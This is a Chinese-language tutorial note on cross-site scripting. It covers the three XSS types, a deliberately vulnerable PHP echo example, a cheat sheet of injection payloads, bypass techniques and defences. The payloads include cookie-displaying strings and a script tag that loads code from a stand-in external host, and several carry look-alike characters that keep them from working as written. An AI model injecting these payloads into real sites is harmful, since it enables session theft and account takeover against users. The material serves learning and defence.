漏洞描述
- XSS (跨站脚本攻击)主要基于javascript (JS) 完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
- XSS通过将精心构造的代码(JS) 代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析j avascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。
漏洞成因
- 在HTML中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。
漏洞危害
-
获取用户Cookie登陆服务器。
-
记录键盘输入。
-
XSS蠕虫
-
网页挂马
-
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
-
获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
-
控制受害者机器向其他网站发起攻击;
-
利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。(不会这个操作,自己没有见过)
-
利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
-
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
-
攻击者通过CSRF等方式以用户身份执行危险操作
漏洞挖掘
常见场景
重灾区
- 评论区、留言区、个人信息、订单信息等
针对型
- 站内信、网页即时通讯、私信、意见反馈
存在风险
- 搜索框、当前目录、图片属性等
XSS分类
反射型XSS
- 定义
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:
<?php echo "<p>hello, $_GET['user']</p>";?>
那么在访问时设置
/?user=</p><script>alert("hack")</script><p>
则可执行预设好的JavaScript代码。
- 特点
非持久性
通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发
通常在URL中构造,将恶意链接发送给目标用户,当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接
造成反射型XSS ,主要是GET类型且受到XSS Auditor、NoScript等防御手段的影响较大。
存储型XSS
-
定义
攻击者事先将恶意JavaScript代码上传或存储漏洞服务器中,把攻击载荷存入服务器中,造成持久化的攻击。只要受害者浏览包括含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。 -
特点
持久性
每次访问都会触发恶意代码
储存型XSS相比反射型来说危害较大,此类xss不需要用户点击特定的url就能执行跨站脚本
DOM型XSS
- 定义
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
-
特点
DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。 -
可能触发DOM型xss的属性
document.referer
window.name
location
innerHTML
documen.write
payload
script
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
svg
<svg onload=alert(1)>
<svg οnlοad=alert(1)//
img
<img src="#" οnerrοr=alert("hack")>
<img src="#" onerror=alert(document.cookie)> #弹出cookie
<img src="./hack.jpg" onmouseover="alert(/XSS/)">
body
<body onload=alert(1)><body onpageshow=alert(1)>
video
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4"/>
style
<style οnlοad=alert(1)></style>
input
<input type="text" onkeydown="alert(/XSS/)">
<input type="text" onkeyup="alert(/XSS/)">
<input type="button" onclick="alert(/XSS/)">
javascript
<a href="javascript:alert(/XSS/)">touch me </a>
<img src="javascript:alert(/XSS/)">
漏洞利用
待补充
防御绕过
- 双写绕过
- 大小写绕过
- 编码绕过
漏洞防御
使用XSS Filter
- XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
输入过滤
- "永远不要相信用户的输入”是网站开发的基本常识,对于用户输入-定要过滤,过滤,再过滤。
输入验证
- 输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E mail地址、IP地址等。
数据消毒
输出编码
- HTML编码主要是用对应的HTML实体代替字符
黑白名单
避免客户端文档重写,重定向及其他敏感操作(DOM型)